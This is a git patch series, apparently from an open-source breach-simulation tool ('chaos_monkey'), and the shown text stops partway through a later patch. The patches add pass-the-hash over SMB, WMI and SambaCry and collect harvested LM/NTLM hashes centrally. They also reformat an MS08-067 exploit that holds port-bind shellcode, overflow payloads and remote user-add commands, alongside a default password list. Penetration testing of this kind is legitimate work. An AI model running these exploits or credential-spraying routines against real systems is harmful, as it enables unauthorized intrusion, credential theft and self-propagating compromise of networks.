From 89b442be587ceabb121302fb66b525c8cbd9672f Mon Sep 17 00:00:00 2001
From: Itay Mizeretz
Date: Tue, 26 Sep 2017 18:11:13 +0300
Subject: [PATCH 01/35] Implement pass the hash for SMB
---
chaos_monkey/config.py | 16 +++++++
chaos_monkey/example.conf | 2 +
chaos_monkey/exploit/smbexec.py | 32 +++++++-------
chaos_monkey/exploit/tools.py | 55 ++++++++++++++-----------
chaos_monkey/exploit/win_ms08_067.py | 12 +++---
chaos_monkey/exploit/wmiexec.py | 4 +-
monkey_island/cc/resources/telemetry.py | 4 ++
monkey_island/cc/services/config.py | 50 ++++++++++++++++++----
8 files changed, 120 insertions(+), 55 deletions(-)
diff --git a/chaos_monkey/config.py b/chaos_monkey/config.py
index b9d250cd8..30a49fd15 100644
--- a/chaos_monkey/config.py
+++ b/chaos_monkey/config.py
@@ -229,8 +229,24 @@ class Configuration(object):
"""
return product(self.exploit_user_list, self.exploit_password_list)
+ def get_exploit_user_password_or_hash_product(self):
+ """
+ Returns all combinations of the configurations users and passwords or lm/ntlm hashes
+ :return:
+ """
+ cred_list = []
+ for cred in product(self.exploit_user_list, self.exploit_password_list, [''], ['']):
+ cred_list.append(cred)
+ for cred in product(self.exploit_user_list, [''], [''], self.exploit_ntlm_hash_list):
+ cred_list.append(cred)
+ for cred in product(self.exploit_user_list, [''], self.exploit_lm_hash_list, ['']):
+ cred_list.append(cred)
+ return cred_list
+
exploit_user_list = ['Administrator', 'root', 'user']
exploit_password_list = ["Password1!", "1234", "password", "12345678"]
+ exploit_lm_hash_list = []
+ exploit_ntlm_hash_list = []
# smb/wmi exploiter
smb_download_timeout = 300 # timeout in seconds
diff --git a/chaos_monkey/example.conf b/chaos_monkey/example.conf
index 3db576ad3..7fa91bab5 100644
--- a/chaos_monkey/example.conf
+++ b/chaos_monkey/example.conf
@@ -62,6 +62,8 @@
"skip_exploit_if_file_exist": true,
"exploit_user_list": [],
"exploit_password_list": [],
+ "exploit_lm_hash_list": [],
+ "exploit_ntlm_hash_list": [],
"sambacry_trigger_timeout": 5,
"sambacry_folder_paths_to_guess": ["", "/mnt", "/tmp", "/storage", "/export", "/share", "/shares", "/home"],
"sambacry_shares_not_to_check": ["IPC$", "print$"],
diff --git a/chaos_monkey/exploit/smbexec.py b/chaos_monkey/exploit/smbexec.py
index e23818f4d..5c316ba99 100644
--- a/chaos_monkey/exploit/smbexec.py
+++ b/chaos_monkey/exploit/smbexec.py
@@ -16,7 +16,7 @@ try:
from impacket.smbconnection import SessionError as SessionError1, SMB_DIALECT
from impacket.smb import SessionError as SessionError2
from impacket.smb3 import SessionError as SessionError3
-except ImportError, exc:
+except ImportError as exc:
print str(exc)
print 'Install the following library to make this script work'
print 'Impacket : http://oss.coresecurity.com/projects/impacket.html'
@@ -64,33 +64,35 @@ class SmbExploiter(HostExploiter):
LOG.info("Can't find suitable monkey executable for host %r", host)
return False
- user_password_pairs = self._config.get_exploit_user_password_pairs()
+ user_password_pairs = self._config.get_exploit_user_password_or_hash_product()
exploited = False
- for user, password in user_password_pairs:
+ for user, password, lm_hash, ntlm_hash in user_password_pairs:
try:
# copy the file remotely using SMB
remote_full_path = SmbTools.copy_file(host,
- user,
- password,
src_path,
self._config.dropper_target_path,
+ user,
+ password,
+ lm_hash,
+ ntlm_hash,
self._config.smb_download_timeout)
if remote_full_path is not None:
- LOG.debug("Successfully logged in %r using SMB (%s : %s)",
- host, user, password)
+ LOG.debug("Successfully logged in %r using SMB (%s : %s : %s : %s)",
+ host, user, password, lm_hash, ntlm_hash)
host.learn_credentials(user, password)
exploited = True
break
else:
# failed exploiting with this user/pass
- report_failed_login(self, host, user, password)
+ report_failed_login(self, host, user, password, lm_hash, ntlm_hash)
- except Exception, exc:
- LOG.debug("Exception when trying to copy file using SMB to %r with user"
- " %s and password '%s': (%s)", host,
- user, password, exc)
+ except Exception as exc:
+ LOG.debug("Exception when trying to copy file using SMB to %r with user:"
+ " %s, password: '%s', LM hash: %s, NTLM hash: %s: (%s)", host,
+ user, password, lm_hash, ntlm_hash, exc)
continue
if not exploited:
@@ -113,15 +115,15 @@ class SmbExploiter(HostExploiter):
rpctransport.preferred_dialect(SMB_DIALECT)
if hasattr(rpctransport, 'set_credentials'):
# This method exists only for selected protocol sequences.
- rpctransport.set_credentials(user, password, host.ip_addr,
- "", "", None)
+ rpctransport.set_credentials(user, password, '',
+ lm_hash, ntlm_hash, None)
rpctransport.set_kerberos(SmbExploiter.USE_KERBEROS)
scmr_rpc = rpctransport.get_dce_rpc()
try:
scmr_rpc.connect()
- except Exception, exc:
+ except Exception as exc:
LOG.warn("Error connecting to SCM on exploited machine %r: %s",
host, exc)
return False
diff --git a/chaos_monkey/exploit/tools.py b/chaos_monkey/exploit/tools.py
index 2e8aa4fa5..bad9efb51 100644
--- a/chaos_monkey/exploit/tools.py
+++ b/chaos_monkey/exploit/tools.py
@@ -62,7 +62,7 @@ class WmiTools(object):
try:
iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login,
wmi.IID_IWbemLevel1Login)
- except Exception, exc:
+ except Exception as exc:
dcom.disconnect()
if "rpc_s_access_denied" == exc.message:
@@ -156,7 +156,7 @@ class WmiTools(object):
query_record[key] = record[key]['value']
query.append(query_record)
- except DCERPCSessionError, exc:
+ except DCERPCSessionError as exc:
if 1 == exc.error_code:
break
@@ -169,20 +169,21 @@ class WmiTools(object):
class SmbTools(object):
@staticmethod
- def copy_file(host, username, password, src_path, dst_path, timeout=60):
+ def copy_file(host, src_path, dst_path, username, password, lm_hash='', ntlm_hash='', timeout=60):
assert monkeyfs.isfile(src_path), "Source file to copy (%s) is missing" % (src_path,)
config = __import__('config').WormConfiguration
src_file_size = monkeyfs.getsize(src_path)
- smb, dialect = SmbTools.new_smb_connection(host, username, password, timeout)
+ smb, dialect = SmbTools.new_smb_connection(host, username, password, lm_hash, ntlm_hash, timeout)
if not smb:
return None
# skip guest users
if smb.isGuestSession() > 0:
- LOG.debug("Connection to %r with user %s and password '%s' granted guest privileges",
- host, username, password)
+ LOG.debug("Connection to %r granted guest privileges with user: %s, password: '%s',"
+ " LM hash: %s, NTLM hash: %s",
+ host, username, password, lm_hash, ntlm_hash)
try:
smb.logoff()
@@ -193,7 +194,7 @@ class SmbTools(object):
try:
resp = SmbTools.execute_rpc_call(smb, "hNetrServerGetInfo", 102)
- except Exception, exc:
+ except Exception as exc:
LOG.debug("Error requesting server info from %r over SMB: %s",
host, exc)
return None
@@ -210,7 +211,7 @@ class SmbTools(object):
try:
resp = SmbTools.execute_rpc_call(smb, "hNetrShareEnum", 2)
- except Exception, exc:
+ except Exception as exc:
LOG.debug("Error enumerating server shares from %r over SMB: %s",
host, exc)
return None
@@ -252,13 +253,13 @@ class SmbTools(object):
share_path = share['share_path']
if not smb:
- smb, _ = SmbTools.new_smb_connection(host, username, password, timeout)
+ smb, _ = SmbTools.new_smb_connection(host, username, password, lm_hash, ntlm_hash, timeout)
if not smb:
return None
try:
tid = smb.connectTree(share_name)
- except Exception, exc:
+ except Exception as exc:
LOG.debug("Error connecting tree to share '%s' on victim %r: %s",
share_name, host, exc)
continue
@@ -293,7 +294,7 @@ class SmbTools(object):
src_path, share_name, share_path, host)
break
- except Exception, exc:
+ except Exception as exc:
LOG.debug("Error uploading monkey to share '%s' on victim %r: %s",
share_name, host, exc)
continue
@@ -307,23 +308,23 @@ class SmbTools(object):
if not file_uploaded:
LOG.debug("Couldn't find a writable share for exploiting"
- " victim %r with username %s and password '%s'",
- host, username, password)
+ " victim %r with username: %s, password: '%s', LM hash: %s, NTLM hash: %s",
+ host, username, password, lm_hash, ntlm_hash)
return None
return remote_full_path
@staticmethod
- def new_smb_connection(host, username, password, timeout=60):
+ def new_smb_connection(host, username, password, lm_hash='', ntlm_hash='', timeout=60):
try:
smb = SMBConnection(host.ip_addr, host.ip_addr, sess_port=445)
- except Exception, exc:
+ except Exception as exc:
LOG.debug("SMB connection to %r on port 445 failed,"
" trying port 139 (%s)", host, exc)
try:
smb = SMBConnection('*SMBSERVER', host.ip_addr, sess_port=139)
- except Exception, exc:
+ except Exception as exc:
LOG.debug("SMB connection to %r on port 139 failed as well (%s)",
host, exc)
return None, None
@@ -334,10 +335,10 @@ class SmbTools(object):
# we know this should work because the WMI connection worked
try:
- smb.login(username, password, domain=host.ip_addr)
- except Exception, exc:
- LOG.debug("Error while loging into %r using user %s and password '%s': %s",
- host, username, password, exc)
+ smb.login(username, password, '', lm_hash, ntlm_hash)
+ except Exception as exc:
+ LOG.debug("Error while logging into %r using user: %s, password: '%s', LM hash: %s, NTLM hash: %s: %s",
+ host, username, password, lm_hash, ntlm_hash, exc)
return None, dialect
smb.setTimeout(timeout)
@@ -473,11 +474,17 @@ def build_monkey_commandline(target_host, depth, location=None):
GUID, target_host.default_tunnel, target_host.default_server, depth, location)
-def report_failed_login(exploiter, machine, user, password):
+def report_failed_login(exploiter, machine, user, password='', lm_hash='', ntlm_hash=''):
from control import ControlClient
- ControlClient.send_telemetry('exploit', {'result': False, 'machine': machine.__dict__,
- 'exploiter': exploiter.__class__.__name__,
- 'user': user, 'password': password})
+ telemetry_dict =\
+ {'result': False, 'machine': machine.__dict__, 'exploiter': exploiter.__class__.__name__,
+ 'user': user, 'password': password}
+ if lm_hash != '':
+ telemetry_dict['lm_hash'] = lm_hash
+ if ntlm_hash != '':
+ telemetry_dict['lm_hash'] = ntlm_hash
+
+ ControlClient.send_telemetry('exploit', telemetry_dict)
def get_binaries_dir_path():
diff --git a/chaos_monkey/exploit/win_ms08_067.py b/chaos_monkey/exploit/win_ms08_067.py
index ac9f878c7..7213aed62 100644
--- a/chaos_monkey/exploit/win_ms08_067.py
+++ b/chaos_monkey/exploit/win_ms08_067.py
@@ -228,19 +228,19 @@ class Ms08_067_Exploiter(HostExploiter):
# copy the file remotely using SMB
remote_full_path = SmbTools.copy_file(host,
- self._config.ms08_067_remote_user_add,
- self._config.ms08_067_remote_user_pass,
src_path,
- self._config.dropper_target_path)
+ self._config.dropper_target_path,
+ self._config.ms08_067_remote_user_add,
+ self._config.ms08_067_remote_user_pass)
if not remote_full_path:
# try other passwords for administrator
for password in self._config.exploit_password_list:
remote_full_path = SmbTools.copy_file(host,
- "Administrator",
- password,
src_path,
- self._config.dropper_target_path)
+ self._config.dropper_target_path,
+ "Administrator",
+ password)
if remote_full_path:
break
diff --git a/chaos_monkey/exploit/wmiexec.py b/chaos_monkey/exploit/wmiexec.py
index 312a497da..15ccb9375 100644
--- a/chaos_monkey/exploit/wmiexec.py
+++ b/chaos_monkey/exploit/wmiexec.py
@@ -73,10 +73,10 @@ class WmiExploiter(HostExploiter):
# copy the file remotely using SMB
remote_full_path = SmbTools.copy_file(host,
- user,
- password,
src_path,
self._config.dropper_target_path,
+ user,
+ password,
self._config.smb_download_timeout)
if not remote_full_path:
diff --git a/monkey_island/cc/resources/telemetry.py b/monkey_island/cc/resources/telemetry.py
index 4db48e010..0fea9b4d5 100644
--- a/monkey_island/cc/resources/telemetry.py
+++ b/monkey_island/cc/resources/telemetry.py
@@ -155,5 +155,9 @@ class Telemetry(flask_restful.Resource):
ConfigService.creds_add_username(user)
if 'password' in creds[user]:
ConfigService.creds_add_password(creds[user]['password'])
+ if 'lm_hash' in creds[user]:
+ ConfigService.creds_add_lm_hash(creds[user]['lm_hash'])
+ if 'ntlm_hash' in creds[user]:
+ ConfigService.creds_add_ntlm_hash(creds[user]['ntlm_hash'])
diff --git a/monkey_island/cc/services/config.py b/monkey_island/cc/services/config.py
index 6f6071aa3..8af645dcc 100644
--- a/monkey_island/cc/services/config.py
+++ b/monkey_island/cc/services/config.py
@@ -405,10 +405,36 @@ SCHEMA = {
"monkey_log_path_windows": {
"title": "Monkey log file path on Windows",
"type": "string",
- "default":"C:\\Users\\user\\AppData\\Local\\Temp\\~df1563.tmp",
+ "default": "C:\\Users\\user\\AppData\\Local\\Temp\\~df1563.tmp",
"description": "The fullpath of the monkey log file on Windows"
}
}
+ },
+ "exploits": {
+ "title": "Exploits",
+ "type": "object",
+ "properties": {
+ "exploit_lm_hash_list": {
+ "title": "Exploit LM hash list",
+ "type": "array",
+ "uniqueItems": True,
+ "items": {
+ "type": "string"
+ },
+ "default": [],
+ "description": "List of LM hashes to use on exploits using credentials"
+ },
+ "exploit_ntlm_hash_list": {
+ "title": "Exploit NTLM hash list",
+ "type": "array",
+ "uniqueItems": True,
+ "items": {
+ "type": "string"
+ },
+ "default": [],
+ "description": "List of NTLM hashes to use on exploits using credentials"
+ }
+ }
}
}
},
@@ -804,20 +830,28 @@ class ConfigService:
return SCHEMA
@staticmethod
- def creds_add_username(username):
+ def add_item_to_config_set(item_key, item_value):
mongo.db.config.update(
{'name': 'newconfig'},
- {'$addToSet': {'exploits.credentials.exploit_user_list': username}},
+ {'$addToSet': {item_key: item_value}},
upsert=False
)
+ @staticmethod
+ def creds_add_username(username):
+ ConfigService.add_item_to_config_set('exploits.credentials.exploit_user_list', username)
+
@staticmethod
def creds_add_password(password):
- mongo.db.config.update(
- {'name': 'newconfig'},
- {'$addToSet': {'exploits.credentials.exploit_password_list': password}},
- upsert=False
- )
+ ConfigService.add_item_to_config_set('exploits.credentials.exploit_password_list', password)
+
+ @staticmethod
+ def creds_add_lm_hash(lm_hash):
+ ConfigService.add_item_to_config_set('internal.exploits.exploit_lm_hash_list', lm_hash)
+
+ @staticmethod
+ def creds_add_ntlm_hash(ntlm_hash):
+ ConfigService.add_item_to_config_set('internal.exploits.exploit_ntlm_hash_list', ntlm_hash)
@staticmethod
def update_config(config_json):
From 7e2e2aa15fd3f2b79300d13606bebd9c6b380129 Mon Sep 17 00:00:00 2001
From: Itay Mizeretz
Date: Tue, 26 Sep 2017 20:00:56 +0300
Subject: [PATCH 02/35] Global config updates of creds now apply to running
monkeys Fix issue caused by moving of the credentials to basic tab
---
monkey_island/cc/services/config.py | 10 ++++++++--
1 file changed, 8 insertions(+), 2 deletions(-)
diff --git a/monkey_island/cc/services/config.py b/monkey_island/cc/services/config.py
index 8af645dcc..9ad727b08 100644
--- a/monkey_island/cc/services/config.py
+++ b/monkey_island/cc/services/config.py
@@ -837,13 +837,19 @@ class ConfigService:
upsert=False
)
+ mongo.db.monkey.update(
+ {},
+ {'$addToSet': {'config.' + item_key.split('.')[-1]: item_value}},
+ multi=True
+ )
+
@staticmethod
def creds_add_username(username):
- ConfigService.add_item_to_config_set('exploits.credentials.exploit_user_list', username)
+ ConfigService.add_item_to_config_set('basic.credentials.exploit_user_list', username)
@staticmethod
def creds_add_password(password):
- ConfigService.add_item_to_config_set('exploits.credentials.exploit_password_list', password)
+ ConfigService.add_item_to_config_set('basic.credentials.exploit_password_list', password)
@staticmethod
def creds_add_lm_hash(lm_hash):
From fe77fc833cf393b82191e5e24699f36b0f569d69 Mon Sep 17 00:00:00 2001
From: Itay Mizeretz
Date: Wed, 27 Sep 2017 14:28:53 +0300
Subject: [PATCH 03/35] fix ntlm_hash telem
---
chaos_monkey/exploit/tools.py | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/chaos_monkey/exploit/tools.py b/chaos_monkey/exploit/tools.py
index bad9efb51..bde32691d 100644
--- a/chaos_monkey/exploit/tools.py
+++ b/chaos_monkey/exploit/tools.py
@@ -482,7 +482,7 @@ def report_failed_login(exploiter, machine, user, password='', lm_hash='', ntlm_
if lm_hash != '':
telemetry_dict['lm_hash'] = lm_hash
if ntlm_hash != '':
- telemetry_dict['lm_hash'] = ntlm_hash
+ telemetry_dict['ntlm_hash'] = ntlm_hash
ControlClient.send_telemetry('exploit', telemetry_dict)
From 7e3f420fe086ba0978fa1875cfbe2941206b4d48 Mon Sep 17 00:00:00 2001
From: Itay Mizeretz
Date: Wed, 27 Sep 2017 17:23:23 +0300
Subject: [PATCH 04/35] Add pass-the-hash for sambacry
---
chaos_monkey/exploit/sambacry.py | 7 ++++---
1 file changed, 4 insertions(+), 3 deletions(-)
diff --git a/chaos_monkey/exploit/sambacry.py b/chaos_monkey/exploit/sambacry.py
index 22b3a3f2b..7bf8533ef 100644
--- a/chaos_monkey/exploit/sambacry.py
+++ b/chaos_monkey/exploit/sambacry.py
@@ -161,13 +161,14 @@ class SambaCryExploiter(HostExploiter):
return writable_shares_creds_dict
def get_credentials_list(self):
- user_password_pairs = self._config.get_exploit_user_password_pairs()
+ creds = self._config.get_exploit_user_password_or_hash_product()
# Add empty credentials for anonymous shares.
credentials_list = [{'username': '', 'password': '', 'lm_hash': '', 'ntlm_hash': ''}]
- for user, password in user_password_pairs:
- credentials_list.append({'username': user, 'password': password, 'lm_hash': '', 'ntlm_hash': ''})
+ for user, password, lm_hash, ntlm_hash in creds:
+ credentials_list.append(
+ {'username': user, 'password': password, 'lm_hash': lm_hash, 'ntlm_hash': ntlm_hash})
return credentials_list
From d628a27595909f050bedfced8d6c100693c6051b Mon Sep 17 00:00:00 2001
From: Itay Mizeretz
Date: Wed, 27 Sep 2017 18:30:44 +0300
Subject: [PATCH 05/35] Add pass-the-hash for wmi
---
chaos_monkey/exploit/wmiexec.py | 42 ++++++++++++++++++---------------
1 file changed, 23 insertions(+), 19 deletions(-)
diff --git a/chaos_monkey/exploit/wmiexec.py b/chaos_monkey/exploit/wmiexec.py
index 15ccb9375..05751f2d5 100644
--- a/chaos_monkey/exploit/wmiexec.py
+++ b/chaos_monkey/exploit/wmiexec.py
@@ -29,34 +29,36 @@ class WmiExploiter(HostExploiter):
LOG.info("Can't find suitable monkey executable for host %r", host)
return False
- user_password_pairs = self._config.get_exploit_user_password_pairs()
+ creds = self._config.get_exploit_user_password_or_hash_product()
- for user, password in user_password_pairs:
- LOG.debug("Attempting to connect %r using WMI with password '%s'",
- host, password)
+ for user, password, lm_hash, ntlm_hash in creds:
+ LOG.debug("Attempting to connect %r using WMI with user,password,lm hash,ntlm hash: ('%s','%s','%s','%s')",
+ host, user, password, lm_hash, ntlm_hash)
wmi_connection = WmiTools.WmiConnection()
try:
- wmi_connection.connect(host,
- user,
- password)
+ wmi_connection.connect(host, user, password, None, lm_hash, ntlm_hash)
except AccessDeniedException:
- LOG.debug("Failed connecting to %r using WMI with user,password ('%s','%s')",
- host, user, password)
+ LOG.debug("Failed connecting to %r using WMI with "
+ "user,password,lm hash,ntlm hash: ('%s','%s','%s','%s')",
+ host, user, password, lm_hash, ntlm_hash)
continue
- except DCERPCException, exc:
- report_failed_login(self, host, user, password)
- LOG.debug("Failed connecting to %r using WMI with user,password: ('%s','%s')",
- host, user, password)
+ except DCERPCException as exc:
+ report_failed_login(self, host, user, password, lm_hash, ntlm_hash)
+ LOG.debug("Failed connecting to %r using WMI with "
+ "user,password,lm hash,ntlm hash: ('%s','%s','%s','%s')",
+ host, user, password, lm_hash, ntlm_hash)
continue
- except socket.error, exc:
- LOG.debug("Network error in WMI connection to %r with user,password: ('%s','%s') (%s)",
- host, user, password, exc)
+ except socket.error as exc:
+ LOG.debug("Network error in WMI connection to %r with "
+ "user,password,lm hash,ntlm hash: ('%s','%s','%s','%s')",
+ host, user, password, lm_hash, ntlm_hash)
return False
- except Exception, exc:
- LOG.debug("Unknown WMI connection error to %r with user,password: ('%s','%s') (%s):\n%s",
- host, user, password, exc, traceback.format_exc())
+ except Exception as exc:
+ LOG.debug("Unknown WMI connection error to %r with "
+ "user,password,lm hash,ntlm hash: ('%s','%s','%s','%s') (%s):\n%s",
+ host, user, password, lm_hash, ntlm_hash, exc, traceback.format_exc())
return False
host.learn_credentials(user, password)
@@ -77,6 +79,8 @@ class WmiExploiter(HostExploiter):
self._config.dropper_target_path,
user,
password,
+ lm_hash,
+ ntlm_hash,
self._config.smb_download_timeout)
if not remote_full_path:
From a27c802b1195334d1e62a39718bd19f1245ec208 Mon Sep 17 00:00:00 2001
From: Daniel Goldberg
Date: Thu, 28 Sep 2017 14:17:41 +0300
Subject: [PATCH 06/35] If already touching this file, modify it for PEP8 +
better exception syntax.
---
chaos_monkey/exploit/win_ms08_067.py | 64 ++++++++++++++--------------
1 file changed, 32 insertions(+), 32 deletions(-)
diff --git a/chaos_monkey/exploit/win_ms08_067.py b/chaos_monkey/exploit/win_ms08_067.py
index 7213aed62..3a15d135e 100644
--- a/chaos_monkey/exploit/win_ms08_067.py
+++ b/chaos_monkey/exploit/win_ms08_067.py
@@ -9,34 +9,35 @@
import sys
import time
import socket
-from enum import IntEnum
from logging import getLogger
-from model.host import VictimHost
-from model import DROPPER_CMDLINE_WINDOWS, MONKEY_CMDLINE_WINDOWS
-from . import HostExploiter
+
+from enum import IntEnum
+
from exploit.tools import SmbTools, get_target_monkey
-from network.tools import check_port_tcp
+from model import DROPPER_CMDLINE_WINDOWS, MONKEY_CMDLINE_WINDOWS
+from model.host import VictimHost
from network import SMBFinger
+from network.tools import check_port_tcp
from tools import build_monkey_commandline
+from . import HostExploiter
try:
from impacket import smb
from impacket import uuid
- #from impacket.dcerpc import dcerpc
+ # from impacket.dcerpc import dcerpc
from impacket.dcerpc.v5 import transport
from impacket.smbconnection import SessionError as SessionError1
from impacket.smb import SessionError as SessionError2
from impacket.smb3 import SessionError as SessionError3
-except ImportError, exc:
+except ImportError as exc:
print str(exc)
print 'Install the following library to make this script work'
print 'Impacket : http://oss.coresecurity.com/projects/impacket.html'
print 'PyCrypto : http://www.amk.ca/python/code/crypto.html'
sys.exit(1)
-
LOG = getLogger(__name__)
-
+
# Portbind shellcode from metasploit; Binds port to TCP port 4444
SHELLCODE = "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
SHELLCODE += "\x29\xc9\x83\xe9\xb0\xe8\xff\xff\xff\xff\xc0\x5e\x81\x76\x0e\xe9"
@@ -61,8 +62,7 @@ SHELLCODE += "\x9c\x0e\x49\x7f\xb2\x1d\xe4\xf8\xb8\x1b\xdc\xa8\xb8\x1b\xe3\xf8"
SHELLCODE += "\x16\x9a\xde\x04\x30\x4f\x78\xfa\x16\x9c\xdc\x56\x16\x7d\x49\x79"
SHELLCODE += "\x62\x1d\x4a\x2a\x2d\x2e\x49\x7f\xbb\xb5\x66\xc1\x19\xc0\xb2\xf6"
SHELLCODE += "\xba\xb5\x60\x56\x39\x4a\xb6\xa9"
-
-
+
# Payload for Windows 2000 target
PAYLOAD_2000 = '\x41\x00\x5c\x00\x2e\x00\x2e\x00\x5c\x00\x2e\x00\x2e\x00\x5c\x00'
PAYLOAD_2000 += '\x41\x41\x41\x41\x41\x41\x41\x41'
@@ -76,7 +76,7 @@ PAYLOAD_2000 += '\x43\x43\x43\x43\x43\x43\x43\x43'
PAYLOAD_2000 += '\x43\x43\x43\x43\x43\x43\x43\x43'
PAYLOAD_2000 += '\xeb\xcc'
PAYLOAD_2000 += '\x00\x00'
-
+
# Payload for Windows 2003[SP2] target
PAYLOAD_2003 = '\x41\x00\x5c\x00'
PAYLOAD_2003 += '\x2e\x00\x2e\x00\x5c\x00\x2e\x00'
@@ -95,11 +95,11 @@ PAYLOAD_2003 += '\xba\x77\xf9\x75\xbd\x77\x00\x00'
class WindowsVersion(IntEnum):
Windows2000 = 1
Windows2003_SP2 = 2
-
-
+
+
class SRVSVC_Exploit(object):
TELNET_PORT = 4444
-
+
def __init__(self, target_addr, os_version=WindowsVersion.Windows2003_SP2, port=445):
self._port = port
self._target = target_addr
@@ -110,33 +110,33 @@ class SRVSVC_Exploit(object):
The port on which the Telnet service will listen.
"""
-
+
return SRVSVC_Exploit.TELNET_PORT
-
+
def start(self):
"""start() -> socket
Exploit the target machine and return a socket connected to it's
listening Telnet service.
"""
-
+
target_rpc_name = "ncacn_np:%s[\\pipe\\browser]" % self._target
-
+
LOG.debug("Initiating exploit connection (%s)", target_rpc_name)
self._trans = transport.DCERPCTransportFactory(target_rpc_name)
self._trans.connect()
-
+
LOG.debug("Connected to %s", target_rpc_name)
-
+
self._dce = self._trans.DCERPC_class(self._trans)
self._dce.bind(uuid.uuidtup_to_bin(('4b324fc8-1670-01d3-1278-5a47bf6ee188', '3.0')))
-
+
dce_packet = self._build_dce_packet()
- self._dce.call(0x1f, dce_packet) #0x1f (or 31)- NetPathCanonicalize Operation
-
+ self._dce.call(0x1f, dce_packet) # 0x1f (or 31)- NetPathCanonicalize Operation
+
LOG.debug("Exploit sent to %s successfully...", self._target)
LOG.debug("Target machine should be listening over port %d now", self.get_telnet_port())
-
+
sock = socket.socket()
sock.connect((self._target, self.get_telnet_port()))
return sock
@@ -162,7 +162,7 @@ class SRVSVC_Exploit(object):
dce_packet += '\x00\x00\x00\x00\x02\x00\x00\x00'
dce_packet += '\x5c\x00\x00\x00\x01\x00\x00\x00'
dce_packet += '\x01\x00\x00\x00'
-
+
return dce_packet
@@ -186,7 +186,7 @@ class Ms08_067_Exploiter(HostExploiter):
smb_finger = SMBFinger()
if smb_finger.get_host_fingerprint(host):
return host.os.get('type') in self._target_os_type and \
- host.os.get('version') in self._windows_versions.keys()
+ host.os.get('version') in self._windows_versions.keys()
return False
def exploit_host(self, host, depth=-1, src_path=None):
@@ -218,7 +218,7 @@ class Ms08_067_Exploiter(HostExploiter):
LOG.debug("Exploited into %r using MS08-067", host)
exploited = True
break
- except Exception, exc:
+ except Exception as exc:
LOG.debug("Error exploiting victim %r: (%s)", host, exc)
continue
@@ -256,15 +256,15 @@ class Ms08_067_Exploiter(HostExploiter):
build_monkey_commandline(host, depth - 1)
try:
- sock.send("start %s\r\n" % (cmdline, ))
- sock.send("net user %s /delete\r\n" % (self._config.ms08_067_remote_user_add, ))
- except Exception, exc:
+ sock.send("start %s\r\n" % (cmdline,))
+ sock.send("net user %s /delete\r\n" % (self._config.ms08_067_remote_user_add,))
+ except Exception as exc:
LOG.debug("Error in post-debug phase while exploiting victim %r: (%s)", host, exc)
return False
finally:
try:
sock.close()
- except:
+ except socket.error:
pass
LOG.info("Executed monkey '%s' on remote victim %r (cmdline=%r)",
From 5586619f19cb48f857484f9d694be8368d36f534 Mon Sep 17 00:00:00 2001
From: Daniel Goldberg
Date: Thu, 28 Sep 2017 14:22:35 +0300
Subject: [PATCH 07/35] PEP8 fun
---
chaos_monkey/exploit/sambacry.py | 35 ++++++++++++++++++--------------
1 file changed, 20 insertions(+), 15 deletions(-)
diff --git a/chaos_monkey/exploit/sambacry.py b/chaos_monkey/exploit/sambacry.py
index 7bf8533ef..3b4477dcf 100644
--- a/chaos_monkey/exploit/sambacry.py
+++ b/chaos_monkey/exploit/sambacry.py
@@ -1,11 +1,10 @@
+import itertools
import logging
+import posixpath
import re
-import sys
import time
from io import BytesIO
from os import path
-import itertools
-import posixpath
import impacket.smbconnection
from impacket.nt_errors import STATUS_SUCCESS
@@ -37,7 +36,6 @@ class SambaCryExploiter(HostExploiter):
def __init__(self):
self._config = __import__('config').WormConfiguration
-
def exploit_host(self, host, depth=-1, src_path=None):
if not self.is_vulnerable(host):
return False
@@ -66,7 +64,8 @@ class SambaCryExploiter(HostExploiter):
host.services[SMB_SERVICE]["shares"][share]["fullpath"] = fullpath
if len(successfully_triggered_shares) > 0:
- LOG.info("Shares triggered successfully on host %s: %s" % (host.ip_addr, str(successfully_triggered_shares)))
+ LOG.info(
+ "Shares triggered successfully on host %s: %s" % (host.ip_addr, str(successfully_triggered_shares)))
return True
else:
LOG.info("No shares triggered successfully on host %s" % host.ip_addr)
@@ -86,7 +85,8 @@ class SambaCryExploiter(HostExploiter):
self.trigger_module(smb_client, share)
smb_client.close()
except (impacket.smbconnection.SessionError, SessionError):
- LOG.debug("Exception trying to exploit host: %s, share: %s, with creds: %s." % (host.ip_addr, share, str(creds)))
+ LOG.debug(
+ "Exception trying to exploit host: %s, share: %s, with creds: %s." % (host.ip_addr, share, str(creds)))
def clean_share(self, ip, share, creds):
"""
@@ -198,11 +198,14 @@ class SambaCryExploiter(HostExploiter):
is_vulnerable = True
elif (samba_version_parts[0] == "4") and (samba_version_parts[1] <= "3"):
is_vulnerable = True
- elif (samba_version_parts[0] == "4") and (samba_version_parts[1] == "4") and (samba_version_parts[1] <= "13"):
+ elif (samba_version_parts[0] == "4") and (samba_version_parts[1] == "4") and (
+ samba_version_parts[1] <= "13"):
is_vulnerable = True
- elif (samba_version_parts[0] == "4") and (samba_version_parts[1] == "5") and (samba_version_parts[1] <= "9"):
+ elif (samba_version_parts[0] == "4") and (samba_version_parts[1] == "5") and (
+ samba_version_parts[1] <= "9"):
is_vulnerable = True
- elif (samba_version_parts[0] == "4") and (samba_version_parts[1] == "6") and (samba_version_parts[1] <= "3"):
+ elif (samba_version_parts[0] == "4") and (samba_version_parts[1] == "6") and (
+ samba_version_parts[1] <= "3"):
is_vulnerable = True
LOG.info("Host: %s.samba server name: %s. samba version: %s. is vulnerable: %s" %
@@ -244,7 +247,8 @@ class SambaCryExploiter(HostExploiter):
"""
tree_id = smb_client.connectTree(share)
- with self.get_monkey_commandline_file(host, depth, self._config.dropper_target_path_linux) as monkey_commandline_file:
+ with self.get_monkey_commandline_file(host, depth,
+ self._config.dropper_target_path_linux) as monkey_commandline_file:
smb_client.putFile(share, "\\%s" % self._config.sambacry_commandline_filename, monkey_commandline_file.read)
with self.get_monkey_runner_bin_file(True) as monkey_runner_bin_file:
@@ -326,14 +330,13 @@ class SambaCryExploiter(HostExploiter):
else:
return open(path.join(get_binaries_dir_path(), self._config.sambacry_runner_filename_64), "rb")
-
def get_monkey_commandline_file(self, host, depth, location):
return BytesIO(DROPPER_ARG + build_monkey_commandline(host, depth - 1, location))
# Following are slightly modified SMB functions from impacket to fit our needs of the vulnerability #
def create_smb(self, smb_client, treeId, fileName, desiredAccess, shareMode, creationOptions, creationDisposition,
- fileAttributes, impersonationLevel=SMB2_IL_IMPERSONATION, securityFlags=0,
